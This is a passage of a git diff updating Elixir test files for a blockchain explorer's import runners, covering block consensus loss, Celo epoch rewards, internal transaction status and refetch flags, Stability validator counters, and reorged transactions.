block_hash, miner_hash: miner_hash, number: block_number}, options: options} do + block_number = block_number + 1 + consensus_block = insert(:block, %{hash: block_hash, number: block_number}) + + transaction = + :transaction + |> insert() + |> with_block(consensus_block) + + token_address = insert(:contract_address) + insert(:token, contract_address: token_address, type: "ERC-721") + id = Decimal.new(1) + + tt = + insert(:token_transfer, + token_ids: [id], + token_type: "ERC-721", + transaction: transaction, + token_contract_address: token_address, + block_number: block_number, + block: consensus_block + ) + + instance = + insert(:token_instance, + token_contract_address_hash: token_address.hash, + token_id: id, + owner_updated_at_block: tt.block_number, + owner_updated_at_log_index: tt.log_index, + owner_address_hash: insert(:address).hash + ) + + block_params = + params_for(:block, hash: block_hash, miner_hash: miner_hash, number: block_number, consensus: false) + + %Ecto.Changeset{valid?: true, changes: block_changes} = Block.changeset(%Block{}, block_params) + changes_list = [block_changes] + error = instance.error + owner_address_hash = tt.from_address_hash + token_address_hash = token_address.hash + + assert {:ok, + %{ + update_token_instances_owner: [ + %Explorer.Chain.Token.Instance{ + token_id: ^id, + error: ^error, + owner_updated_at_block: -1, + owner_updated_at_log_index: -1, + owner_address_hash: ^owner_address_hash, + token_contract_address_hash: ^token_address_hash + } + ] + }} = Multi.new() |> Blocks.run(changes_list, options) |> Repo.transaction() + end + + if @chain_type == :celo do + test "removes celo epoch rewards and sets fetched? = false when starting block loses consensus", %{ + consensus_block: %{miner_hash: miner_hash} = parent_block, + options: options + } do + start_processing_block = insert(:block, number: 1, consensus: true, parent_hash: parent_block.hash) + end_processing_block = insert(:block, number: 2, consensus: true, parent_hash: start_processing_block.hash) + address = insert(:address) + + epoch = %{ + number: 1, + start_processing_block_hash: start_processing_block.hash, + end_processing_block_hash: end_processing_block.hash, + fetched?: true + } + + election_reward = %{ + epoch_number: epoch.number, + account_address_hash: address.hash, + amount: 100, + associated_account_address_hash: address.hash, + type: :validator + } + + distribution = %{ + epoch_number: epoch.number, + community_transfer_log_index: 1 + } + + {:ok, _imported} = + Chain.import(%{ + celo_epochs: %{params: [epoch]}, + celo_election_rewards: %{params: [election_reward]}, + celo_epoch_rewards: %{params: [distribution]} + }) + + assert Repo.get_by(Explorer.Chain.Celo.Epoch, number: epoch.number) + assert Repo.get_by(Explorer.Chain.Celo.EpochReward, epoch_number: epoch.number) + assert Repo.get_by(Explorer.Chain.Celo.ElectionReward, epoch_number: epoch.number) + + block_params = + params_for(:block, + number: start_processing_block.number, + miner_hash: miner_hash, + parent_hash: parent_block.hash + ) + + start_processing_block_hash = start_processing_block.hash + start_processing_block_number = start_processing_block.number + end_processing_block_hash = end_processing_block.hash + end_processing_block_number = end_processing_block.number + + assert {:ok, + %{ + celo_delete_epoch_rewards: [ + %Explorer.Chain.Celo.Epoch{ + number: 1, + fetched?: false, + start_processing_block_hash: ^start_processing_block_hash, + end_processing_block_hash: ^end_processing_block_hash + } + ], + lose_consensus: [ + {^start_processing_block_number, ^start_processing_block_hash}, + {^end_processing_block_number, ^end_processing_block_hash} + ] + }} = insert_block(block_params, options) + + assert Repo.get_by(Explorer.Chain.Celo.Epoch, number: epoch.number).fetched? == false + assert Repo.get_by(Explorer.Chain.Celo.EpochReward, epoch_number: epoch.number) == nil + assert Repo.get_by(Explorer.Chain.Celo.ElectionReward, epoch_number: epoch.number) == nil + end + + test "removes celo epoch rewards and sets fetched? = false when ending block loses consensus", %{ + consensus_block: %{miner_hash: miner_hash}, + options: options + } do + start_processing_block = insert(:block, number: 0, consensus: true) + intermediate_block = insert(:block, number: 1, consensus: true) + end_processing_block = insert(:block, number: 2, consensus: true, parent_hash: intermediate_block.hash) + address = insert(:address) + + epoch = %{ + number: 1, + start_processing_block_hash: start_processing_block.hash, + end_processing_block_hash: end_processing_block.hash, + fetched?: true + } + + election_reward = %{ + epoch_number: epoch.number, + account_address_hash: address.hash, + amount: 100, + associated_account_address_hash: address.hash, + type: :validator + } + + distribution = %{ + epoch_number: epoch.number, + community_transfer_log_index: 1 + } + + {:ok, _imported} = + Chain.import(%{ + celo_epochs: %{params: [epoch]}, + celo_election_rewards: %{params: [election_reward]}, + celo_epoch_rewards: %{params: [distribution]} + }) + + assert Repo.get_by(Explorer.Chain.Celo.Epoch, number: epoch.number) + assert Repo.get_by(Explorer.Chain.Celo.EpochReward, epoch_number: epoch.number) + assert Repo.get_by(Explorer.Chain.Celo.ElectionReward, epoch_number: epoch.number) + + block_params = + params_for(:block, + number: end_processing_block.number, + miner_hash: miner_hash, + parent_hash: intermediate_block.hash + ) + + start_processing_block_hash = start_processing_block.hash + end_processing_block_hash = end_processing_block.hash + end_processing_block_number = end_processing_block.number + + assert {:ok, + %{ + celo_delete_epoch_rewards: [ + %Explorer.Chain.Celo.Epoch{ + number: 1, + fetched?: false, + start_processing_block_hash: ^start_processing_block_hash, + end_processing_block_hash: ^end_processing_block_hash + } + ], + lose_consensus: [ + {^end_processing_block_number, ^end_processing_block_hash} + ] + }} = insert_block(block_params, options) + + assert Repo.get_by(Explorer.Chain.Celo.Epoch, number: epoch.number).fetched? == false + assert Repo.get_by(Explorer.Chain.Celo.EpochReward, epoch_number: epoch.number) == nil + assert Repo.get_by(Explorer.Chain.Celo.ElectionReward, epoch_number: epoch.number) == nil + end + end + end + + describe "lose_consensus/5" do + test "loses consensus only for consensus=true blocks" do + insert(:block, consensus: true, number: 0) + insert(:block, consensus: true, number: 1) + insert(:block, consensus: false, number: 2) + + new_block0 = params_for(:block, miner_hash: insert(:address).hash, number: 0) + new_block1 = params_for(:block, miner_hash: insert(:address).hash, parent_hash: new_block0.hash, number: 1) + + %Ecto.Changeset{valid?: true, changes: new_block1_changes} = Block.changeset(%Block{}, new_block1) + + opts = %{ + timeout: 60_000, + timestamps: %{updated_at: DateTime.utc_now()} + } + + assert {:ok, [{0, _}, {1, _}]} = Blocks.process_blocks_consensus([new_block1_changes], Repo, opts) + end end defp insert_block(block_params, options) do diff --git a/apps/explorer/test/explorer/chain/import/runner/internal_transactions_test.exs b/apps/explorer/test/explorer/chain/import/runner/internal_transactions_test.exs index 6f5b53ac7306..c4553d3e7ce3 100644 --- a/apps/explorer/test/explorer/chain/import/runner/internal_transactions_test.exs +++ b/apps/explorer/test/explorer/chain/import/runner/internal_transactions_test.exs @@ -5,10 +5,17 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do alias Explorer.Chain.{Block, Data, Wei, PendingBlockOperation, Transaction, InternalTransaction} alias Explorer.Chain.Import.Runner.InternalTransactions + setup do + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + end + describe "run/1" do - test "transaction's status becomes :error when its internal_transaction has an error" do + test "transaction's status doesn't become :error when its internal_transaction has an error" do transaction = insert(:transaction) |> with_block(status: :ok) - insert(:pending_block_operation, block_hash: transaction.block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) assert :ok == transaction.status @@ -19,15 +26,15 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do assert {:ok, _} = run_internal_transactions([internal_transaction_changes]) - assert :error == Repo.get(Transaction, transaction.hash).status + assert :ok == Repo.get(Transaction, transaction.hash).status end - test "transaction's has_error_in_internal_txs become true when its internal_transaction (where index != 0) has an error" do + test "transaction's has_error_in_internal_transactions become true when its internal_transaction (where index != 0) has an error" do transaction = insert(:transaction) |> with_block(status: :ok) - insert(:pending_block_operation, block_hash: transaction.block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) assert :ok == transaction.status - assert nil == transaction.has_error_in_internal_txs + assert nil == transaction.has_error_in_internal_transactions index = 0 error = nil @@ -40,18 +47,18 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do internal_transaction_changes_1 = make_internal_transaction_changes(transaction, index, error) assert {:ok, _} = run_internal_transactions([internal_transaction_changes, internal_transaction_changes_1]) - tx = Repo.get(Transaction, transaction.hash) + transaction = Repo.get(Transaction, transaction.hash) - assert :ok == tx.status - assert true == tx.has_error_in_internal_txs + assert :ok == transaction.status + assert true == transaction.has_error_in_internal_transactions end - test "transaction's has_error_in_internal_txs become false when its internal_transaction (where index == 0) has an error" do + test "transaction's has_error_in_internal_transactions become false when its internal_transaction (where index == 0) has an error" do transaction = insert(:transaction) |> with_block(status: :ok) - insert(:pending_block_operation, block_hash: transaction.block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) assert :ok == transaction.status - assert nil == transaction.has_error_in_internal_txs + assert nil == transaction.has_error_in_internal_transactions index = 0 error = "Reverted" @@ -59,18 +66,18 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do internal_transaction_changes = make_internal_transaction_changes(transaction, index, error) assert {:ok, _} = run_internal_transactions([internal_transaction_changes]) - tx = Repo.get(Transaction, transaction.hash) + transaction = Repo.get(Transaction, transaction.hash) - assert :error == tx.status - assert false == tx.has_error_in_internal_txs + assert :ok == transaction.status + assert false == transaction.has_error_in_internal_transactions end - test "transaction's has_error_in_internal_txs become false when its internal_transaction has no error" do + test "transaction's has_error_in_internal_transactions become false when its internal_transaction has no error" do transaction = insert(:transaction) |> with_block(status: :ok) - insert(:pending_block_operation, block_hash: transaction.block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) assert :ok == transaction.status - assert nil == transaction.has_error_in_internal_txs + assert nil == transaction.has_error_in_internal_transactions index = 0 error = nil @@ -84,15 +91,15 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do assert {:ok, _} = run_internal_transactions([internal_transaction_changes, internal_transaction_changes_1]) - tx = Repo.get(Transaction, transaction.hash) + transaction = Repo.get(Transaction, transaction.hash) - assert :ok == tx.status - assert false == tx.has_error_in_internal_txs + assert :ok == transaction.status + assert false == transaction.has_error_in_internal_transactions end - test "simple coin transfer's status becomes :error when its internal_transaction has an error" do + test "simple coin transfer's status doesn't become :error when its internal_transaction has an error" do transaction = insert(:transaction) |> with_block(status: :ok) - insert(:pending_block_operation, block_hash: transaction.block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) assert :ok == transaction.status @@ -104,15 +111,15 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do assert {:ok, _} = run_internal_transactions([internal_transaction_changes]) - assert :error == Repo.get(Transaction, transaction.hash).status + assert :ok == Repo.get(Transaction, transaction.hash).status end - test "for block with 2 simple coin transfer's statuses become :error when its both internal_transactions has an error" do + test "for block with 2 simple coin transfer's statuses doesn't become :error even when its both internal_transactions has an error" do a_block = insert(:block, number: 1000) transaction1 = insert(:transaction) |> with_block(a_block, status: :ok) transaction2 = insert(:transaction) |> with_block(a_block, status: :ok) - insert(:pending_block_operation, block_hash: a_block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: a_block.hash, block_number: a_block.number) assert :ok == transaction1.status assert :ok == transaction2.status @@ -128,40 +135,16 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do assert {:ok, _} = run_internal_transactions([internal_transaction_changes_1, internal_transaction_changes_2]) - assert :error == Repo.get(Transaction, transaction1.hash).status - assert :error == Repo.get(Transaction, transaction2.hash).status - end - - test "for block with 2 simple coin transfer's only status become :error for tx where internal_transactions has an error" do - a_block = insert(:block, number: 1000) - transaction1 = insert(:transaction) |> with_block(a_block, status: :ok) - transaction2 = insert(:transaction) |> with_block(a_block, status: :ok) - insert(:pending_block_operation, block_hash: a_block.hash, fetch_internal_transactions: true) - - assert :ok == transaction1.status - assert :ok == transaction2.status - - index = 0 - error = "Out of gas" - - internal_transaction_changes_1 = - make_internal_transaction_changes_for_simple_coin_transfers(transaction1, index, error) - - internal_transaction_changes_2 = - make_internal_transaction_changes_for_simple_coin_transfers(transaction2, index, nil) - - assert {:ok, _} = run_internal_transactions([internal_transaction_changes_1, internal_transaction_changes_2]) - - assert :error == Repo.get(Transaction, transaction1.hash).status + assert :ok == Repo.get(Transaction, transaction1.hash).status assert :ok == Repo.get(Transaction, transaction2.hash).status end - test "for block with simple coin transfer and method calls, method calls internal txs have correct block_index" do + test "for block with simple coin transfer and method calls, method calls internal transactions have correct block_index" do a_block = insert(:block, number: 1000) transaction0 = insert(:transaction) |> with_block(a_block, status: :ok) transaction1 = insert(:transaction) |> with_block(a_block, status: :ok) transaction2 = insert(:transaction) |> with_block(a_block, status: :ok) - insert(:pending_block_operation, block_hash: a_block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: a_block.hash, block_number: a_block.number) assert :ok == transaction0.status assert :ok == transaction1.status @@ -187,41 +170,44 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do internal_transaction_changes_2_1 ]) - assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction0.hash, where: i.index == 0) - |> Repo.one() - |> is_nil() + # transaction with index 0 is ignored in Nethermind JSON RPC Variant and not ignored in case of Geth + + # assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction0.hash, where: i.index == 0) + # |> Repo.one() + # |> is_nil() assert 1 == Repo.get_by!(InternalTransaction, transaction_hash: transaction0.hash, index: 1).block_index - assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction1.hash) |> Repo.one() |> is_nil() + # assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction1.hash) |> Repo.one() |> is_nil() - assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction2.hash, where: i.index == 0) - |> Repo.one() - |> is_nil() + # assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction2.hash, where: i.index == 0) + # |> Repo.one() + # |> is_nil() assert 4 == Repo.get_by!(InternalTransaction, transaction_hash: transaction2.hash, index: 1).block_index end - test "simple coin transfer has no internal transaction inserted" do - transaction = insert(:transaction) |> with_block(status: :ok) - insert(:pending_block_operation, block_hash: transaction.block_hash, fetch_internal_transactions: true) + # test "simple coin transfer has no internal transaction inserted for Nethermind" do + # transaction = insert(:transaction) |> with_block(status: :ok) + # insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) - assert :ok == transaction.status + # assert :ok == transaction.status - index = 0 + # # transaction with index 0 is ignored in Nethermind JSON RPC Variant and not ignored in case of Geth + # index = 0 - internal_transaction_changes = - make_internal_transaction_changes_for_simple_coin_transfers(transaction, index, nil) + # internal_transaction_changes = + # make_internal_transaction_changes_for_simple_coin_transfers(transaction, index, nil) - assert {:ok, _} = run_internal_transactions([internal_transaction_changes]) + # assert {:ok, _} = run_internal_transactions([internal_transaction_changes]) - assert !Repo.exists?(from(i in InternalTransaction, where: i.transaction_hash == ^transaction.hash)) - end + # assert !Repo.exists?(from(i in InternalTransaction, where: i.transaction_hash == ^transaction.hash)) + # end test "pending transactions don't get updated not its internal_transactions inserted" do transaction = insert(:transaction) |> with_block(status: :ok) pending = insert(:transaction) - insert(:pending_block_operation, block_hash: transaction.block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) assert :ok == transaction.status assert is_nil(pending.block_hash) @@ -246,14 +232,14 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do empty_block = insert(:block) pending = insert(:transaction) - insert(:pending_block_operation, block_hash: empty_block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: empty_block.hash, block_number: empty_block.number) assert is_nil(pending.block_hash) full_block = insert(:block) inserted = insert(:transaction) |> with_block(full_block) - insert(:pending_block_operation, block_hash: full_block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: full_block.hash, block_number: full_block.number) assert full_block.hash == inserted.block_hash @@ -277,65 +263,101 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do assert PendingBlockOperation |> Repo.get(full_block.hash) |> is_nil() end - test "removes old records with the same primary key (transaction_hash, index)" do - full_block = insert(:block) - another_full_block = insert(:block) + if Application.compile_env(:explorer, :chain_type) != :zetachain do + test "sets refetch_needed=true for blocks where not all transactions are filled" do + full_block = insert(:block) + transaction_a = insert(:transaction) |> with_block(full_block) + transaction_b = insert(:transaction) |> with_block(full_block) - transaction = insert(:transaction) |> with_block(full_block) + insert(:pending_block_operation, block_hash: full_block.hash, block_number: full_block.number) - insert(:internal_transaction, - index: 0, - transaction: transaction, - block_hash: another_full_block.hash, - block_index: 0 - ) + transaction_a_changes = make_internal_transaction_changes(transaction_a, 0, nil) - insert(:pending_block_operation, block_hash: full_block.hash, fetch_internal_transactions: true) + assert {:ok, _} = run_internal_transactions([transaction_a_changes]) - transaction_changes = make_internal_transaction_changes(transaction, 0, nil) + assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction_a.hash) + |> Repo.one() + |> is_nil() - assert {:ok, %{remove_left_over_internal_transactions: {1, nil}}} = - run_internal_transactions([transaction_changes]) + assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction_b.hash) + |> Repo.one() + |> is_nil() - assert from(i in InternalTransaction, - where: i.transaction_hash == ^transaction.hash and i.block_hash == ^another_full_block.hash - ) - |> Repo.one() - |> is_nil() + assert %{consensus: true, refetch_needed: true} = Repo.get(Block, full_block.hash) + assert not is_nil(Repo.get(PendingBlockOperation, full_block.hash)) + end + + test "does not set refetch_needed=true from non-traceable blocks" do + original_config = Application.get_env(:indexer, :trace_block_ranges) + + full_block = insert(:block) + transaction_a = insert(:transaction) |> with_block(full_block) + transaction_b = insert(:transaction) |> with_block(full_block) + + Application.put_env(:indexer, :trace_block_ranges, "#{full_block.number + 1}..latest") + + insert(:pending_block_operation, block_hash: full_block.hash, block_number: full_block.number) + + transaction_a_changes = make_internal_transaction_changes(transaction_a, 0, nil) + + assert {:ok, _} = run_internal_transactions([transaction_a_changes]) + + assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction_a.hash) + |> Repo.one() + |> is_nil() + + assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction_b.hash) + |> Repo.one() + |> is_nil() + + assert %{consensus: true, refetch_needed: false} = Repo.get(Block, full_block.hash) + + on_exit(fn -> Application.put_env(:indexer, :trace_block_ranges, original_config) end) + end end - test "removes consensus to blocks where not all transactions are filled" do - full_block = insert(:block) - transaction_a = insert(:transaction) |> with_block(full_block) - transaction_b = insert(:transaction) |> with_block(full_block) + if Application.compile_env(:explorer, :chain_type) == :zetachain do + test "does not set refetch_needed=true from non-traceable blocks (zetachain)" do + original_config = Application.get_env(:indexer, :trace_block_ranges) + + full_block = insert(:block) + transaction = insert(:transaction) |> with_block(full_block) + + Application.put_env(:indexer, :trace_block_ranges, "#{full_block.number + 1}..latest") + + insert(:pending_block_operation, block_hash: full_block.hash, block_number: full_block.number) - insert(:pending_block_operation, block_hash: full_block.hash, fetch_internal_transactions: true) + transaction_changes = + transaction + |> make_internal_transaction_changes(0, nil) + |> Map.put(:block_number, full_block.number - 1) - transaction_a_changes = make_internal_transaction_changes(transaction_a, 0, nil) + assert {:ok, _} = run_internal_transactions([transaction_changes]) - assert {:ok, _} = run_internal_transactions([transaction_a_changes]) + assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction.hash) |> Repo.one() |> is_nil() - assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction_a.hash) |> Repo.one() |> is_nil() - assert from(i in InternalTransaction, where: i.transaction_hash == ^transaction_b.hash) |> Repo.one() |> is_nil() + assert %{consensus: true, refetch_needed: false} = Repo.get(Block, full_block.hash) - assert %{consensus: false} = Repo.get(Block, full_block.hash) - assert not is_nil(Repo.get(PendingBlockOperation, full_block.hash)) + on_exit(fn -> Application.put_env(:indexer, :trace_block_ranges, original_config) end) + end end test "does not remove consensus when block is empty and no transactions are missing" do empty_block = insert(:block) - insert(:pending_block_operation, block_hash: empty_block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: empty_block.hash, block_number: empty_block.number) full_block = insert(:block) inserted = insert(:transaction) |> with_block(full_block) - insert(:pending_block_operation, block_hash: full_block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: full_block.hash, block_number: full_block.number) assert full_block.hash == inserted.block_hash - transaction_changes = make_internal_transaction_changes(inserted, 0, nil) - transaction_changes_2 = make_internal_transaction_changes(inserted, 1, nil) + # transaction with index 0 is ignored in Nethermind JSON RPC Variant and not ignored in case of Geth + _transaction_changes_0 = make_internal_transaction_changes(inserted, 0, nil) + transaction_changes = make_internal_transaction_changes(inserted, 1, nil) + transaction_changes_2 = make_internal_transaction_changes(inserted, 2, nil) empty_changes = make_empty_block_changes(empty_block.number) assert {:ok, _} = run_internal_transactions([empty_changes, transaction_changes, transaction_changes_2]) @@ -343,12 +365,12 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do assert %{consensus: true} = Repo.get(Block, empty_block.hash) assert PendingBlockOperation |> Repo.get(empty_block.hash) |> is_nil() - assert from(i in InternalTransaction, where: i.transaction_hash == ^inserted.hash, where: i.index == 0) + assert from(i in InternalTransaction, where: i.transaction_hash == ^inserted.hash, where: i.index == 1) |> Repo.one() |> is_nil() == - true + false - assert from(i in InternalTransaction, where: i.transaction_hash == ^inserted.hash, where: i.index == 1) + assert from(i in InternalTransaction, where: i.transaction_hash == ^inserted.hash, where: i.index == 2) |> Repo.one() |> is_nil() == false @@ -356,6 +378,34 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do assert %{consensus: true} = Repo.get(Block, full_block.hash) assert PendingBlockOperation |> Repo.get(full_block.hash) |> is_nil() end + + test "successfully imports internal transaction with stop type" do + block = insert(:block) + transaction = insert(:transaction) |> with_block(block, status: :ok) + insert(:pending_block_operation, block_hash: transaction.block_hash, block_number: transaction.block_number) + + assert :ok == transaction.status + + {:ok, from_address_hash} = Explorer.Chain.Hash.Address.cast("0x0000000000000000000000000000000000000000") + {:ok, input} = Explorer.Chain.Data.cast("0x") + + internal_transaction_changes = %{ + block_number: block.number, + error: "execution stopped", + from_address_hash: from_address_hash, + gas: 0, + gas_used: 22594, + index: 0, + input: input, + trace_address: [], + transaction_hash: transaction.hash, + transaction_index: 0, + type: :stop, + value: Wei.from(Decimal.new(0), :wei) + } + + assert {:ok, _} = run_internal_transactions([internal_transaction_changes]) + end end defp run_internal_transactions(changes_list, multi \\ Multi.new()) when is_list(changes_list) do @@ -404,7 +454,12 @@ defmodule Explorer.Chain.Import.Runner.InternalTransactionsTest do to_address_hash: insert(:address).hash, call_type: :call, gas: 0, - gas_used: nil, + gas_used: + if is_nil(error) do + 100_500 + else + nil + end, input: %Data{bytes: <<>>}, output: if is_nil(error) do diff --git a/apps/explorer/test/explorer/chain/import/runner/stability/validators_test.exs b/apps/explorer/test/explorer/chain/import/runner/stability/validators_test.exs new file mode 100644 index 000000000000..e58ebd744b92 --- /dev/null +++ b/apps/explorer/test/explorer/chain/import/runner/stability/validators_test.exs @@ -0,0 +1,178 @@ +if Application.compile_env(:explorer, :chain_type) == :stability do + defmodule Explorer.Chain.Import.Runner.Stability.ValidatorsTest do + use Explorer.DataCase + + alias Ecto.Multi + alias Explorer.Chain.Stability.Validator + alias Explorer.Chain.Import.Runner.Stability.Validators + + describe "run/1" do + test "updates blocks_validated counter for existing validators" do + # Insert some validators first + %Validator{address_hash: validator1_hash} = + insert(:validator_stability, blocks_validated: 5) + + %Validator{address_hash: validator2_hash} = + insert(:validator_stability, blocks_validated: 3) + + changes = [ + %{ + address_hash: validator1_hash, + blocks_validated: 2 + }, + %{ + address_hash: validator2_hash, + blocks_validated: 1 + } + ] + + assert {:ok, %{stability_validators: updated_validators}} = run_changes(changes) + + assert length(updated_validators) == 2 + + # Verify counters were updated in database + updated_validator1 = Repo.get(Validator, validator1_hash) + updated_validator2 = Repo.get(Validator, validator2_hash) + + # 5 + 2 + assert updated_validator1.blocks_validated == 7 + # 3 + 1 + assert updated_validator2.blocks_validated == 4 + end + + test "skips non-existent validators" do + # Insert one validator + %Validator{address_hash: existing_validator_hash} = + insert(:validator_stability, blocks_validated: 2) + + # Try to update both existing and non-existing validator + non_existing_hash = "0x1111111111111111111111111111111111111111" + + changes = [ + %{ + address_hash: existing_validator_hash, + blocks_validated: 3 + }, + %{ + address_hash: non_existing_hash, + blocks_validated: 5 + } + ] + + assert {:ok, %{stability_validators: updated_validators}} = run_changes(changes) + + # Only the existing validator should be in the result + assert length(updated_validators) == 1 + [updated_validator] = updated_validators + assert updated_validator.address_hash == existing_validator_hash + + # Verify the existing validator was updated + updated_validator_db = Repo.get(Validator, existing_validator_hash) + # 2 + 3 + assert updated_validator_db.blocks_validated == 5 + + # Verify non-existing validator wasn't created + assert Repo.get(Validator, non_existing_hash) == nil + end + + test "handles empty changes list" do + assert {:ok, %{stability_validators: []}} = run_changes([]) + end + + test "handles multiple increments for the same validator" do + %Validator{address_hash: validator_hash} = + insert(:validator_stability, blocks_validated: 10) + + changes = [ + %{ + address_hash: validator_hash, + blocks_validated: 2 + }, + %{ + address_hash: validator_hash, + blocks_validated: 3 + } + ] + + assert {:ok, %{stability_validators: updated_validators}} = run_changes(changes) + + # Should have 2 entries in the result (one for each update) + assert length(updated_validators) == 2 + + # Verify the counter was incremented twice + updated_validator = Repo.get(Validator, validator_hash) + # 10 + 2 + 3 + assert updated_validator.blocks_validated == 15 + end + + test "handles zero increment" do + %Validator{address_hash: validator_hash} = + insert(:validator_stability, blocks_validated: 7) + + changes = [ + %{ + address_hash: validator_hash, + blocks_validated: 0 + } + ] + + assert {:ok, %{stability_validators: updated_validators}} = run_changes(changes) + + assert length(updated_validators) == 1 + + # Verify the counter remained the same + updated_validator = Repo.get(Validator, validator_hash) + # 7 + 0 + assert updated_validator.blocks_validated == 7 + end + + test "handles large increment values" do + %Validator{address_hash: validator_hash} = + insert(:validator_stability, blocks_validated: 1000) + + changes = [ + %{ + address_hash: validator_hash, + blocks_validated: 999_999 + } + ] + + assert {:ok, %{stability_validators: updated_validators}} = run_changes(changes) + + assert length(updated_validators) == 1 + + # Verify the counter was updated with large value + updated_validator = Repo.get(Validator, validator_hash) + # 1000 + 999999 + assert updated_validator.blocks_validated == 1_000_999 + end + + test "is atomic - all updates succeed or all fail" do + # This test would be more complex to implement as it requires + # simulating database errors, but the Multi transaction + # ensures atomicity by design + %Validator{address_hash: validator_hash} = + insert(:validator_stability, blocks_validated: 5) + + changes = [ + %{ + address_hash: validator_hash, + blocks_validated: 2 + } + ] + + # Normal case - should succeed + assert {:ok, %{stability_validators: _}} = run_changes(changes) + end + end + + defp run_changes(changes) when is_list(changes) do + Multi.new() + |> Validators.run(changes, %{ + timeout: :infinity, + timestamps: %{inserted_at: DateTime.utc_now(), updated_at: DateTime.utc_now()} + }) + |> Repo.transaction() + end + end +end diff --git a/apps/explorer/test/explorer/chain/import/runner/tokens_test.exs b/apps/explorer/test/explorer/chain/import/runner/tokens_test.exs index e3b7d17dee74..67d6e47ad4aa 100644 --- a/apps/explorer/test/explorer/chain/import/runner/tokens_test.exs +++ b/apps/explorer/test/explorer/chain/import/runner/tokens_test.exs @@ -22,7 +22,7 @@ defmodule Explorer.Chain.Import.Runner.TokensTest do assert is_nil(holder_count) assert {:ok, %{tokens: [%Token{holder_count: ^holder_count}]}} = - run_changes(%{contract_address_hash: contract_address_hash, type: type, name: name}) + run_changes(%{contract_address_hash: contract_address_hash, type: type, name: name <> "name"}) end test "existing tokens without nil holder counter do have their holder_count change" do @@ -32,7 +32,7 @@ defmodule Explorer.Chain.Import.Runner.TokensTest do refute is_nil(holder_count) assert {:ok, %{tokens: [%Token{holder_count: ^holder_count}]}} = - run_changes(%{contract_address_hash: contract_address_hash, type: type, name: name}) + run_changes(%{contract_address_hash: contract_address_hash, type: type, name: name <> "name"}) end end diff --git a/apps/explorer/test/explorer/chain/import/runner/transactions_test.exs b/apps/explorer/test/explorer/chain/import/runner/transactions_test.exs index 2bfea8750b0f..a6ab5af0a21e 100644 --- a/apps/explorer/test/explorer/chain/import/runner/transactions_test.exs +++ b/apps/explorer/test/explorer/chain/import/runner/transactions_test.exs @@ -2,7 +2,7 @@ defmodule Explorer.Chain.Import.Runner.TransactionsTest do use Explorer.DataCase alias Ecto.Multi - alias Explorer.Chain.{Address, Transaction} + alias Explorer.Chain.{Address, Block, Transaction} alias Explorer.Chain.Import.Runner.Transactions describe "run/1" do @@ -37,6 +37,47 @@ defmodule Explorer.Chain.Import.Runner.TransactionsTest do assert is_nil(Repo.get(Transaction, transaction.hash).created_contract_code_indexed_at) end + + test "recollated transactions replaced with empty data" do + reorg = insert(:block) + reorg_transaction = :transaction |> insert() |> with_block(reorg) + transaction = :transaction |> insert() |> with_block(reorg) + reorg |> Block.changeset(%{consensus: false}) |> Repo.update() + block = insert(:block, consensus: true, number: reorg.number) + + transaction_params = %{ + block_hash: block.hash, + block_number: block.number, + gas_used: transaction.gas_used, + cumulative_gas_used: transaction.cumulative_gas_used, + index: transaction.index, + from_address_hash: transaction.from_address.hash, + gas: transaction.gas, + gas_price: transaction.gas_price, + hash: transaction.hash, + input: transaction.input, + nonce: transaction.nonce, + r: transaction.r, + s: transaction.s, + to_address_hash: transaction.to_address.hash, + v: transaction.v, + value: transaction.value + } + + assert {:ok, _} = run_transactions([transaction_params]) + + assert %{ + block_hash: nil, + block_number: nil, + gas_used: nil, + cumulative_gas_used: nil, + index: nil, + status: nil, + error: nil + } = Repo.get_by(Transaction, hash: reorg_transaction.hash) + + assert not is_nil(Repo.get_by(Transaction, hash: transaction.hash).block_hash) + end end defp run_transactions(changes_list) when is_list(changes_list) do diff --git a/apps/explorer/test/explorer/chain/import_test.exs 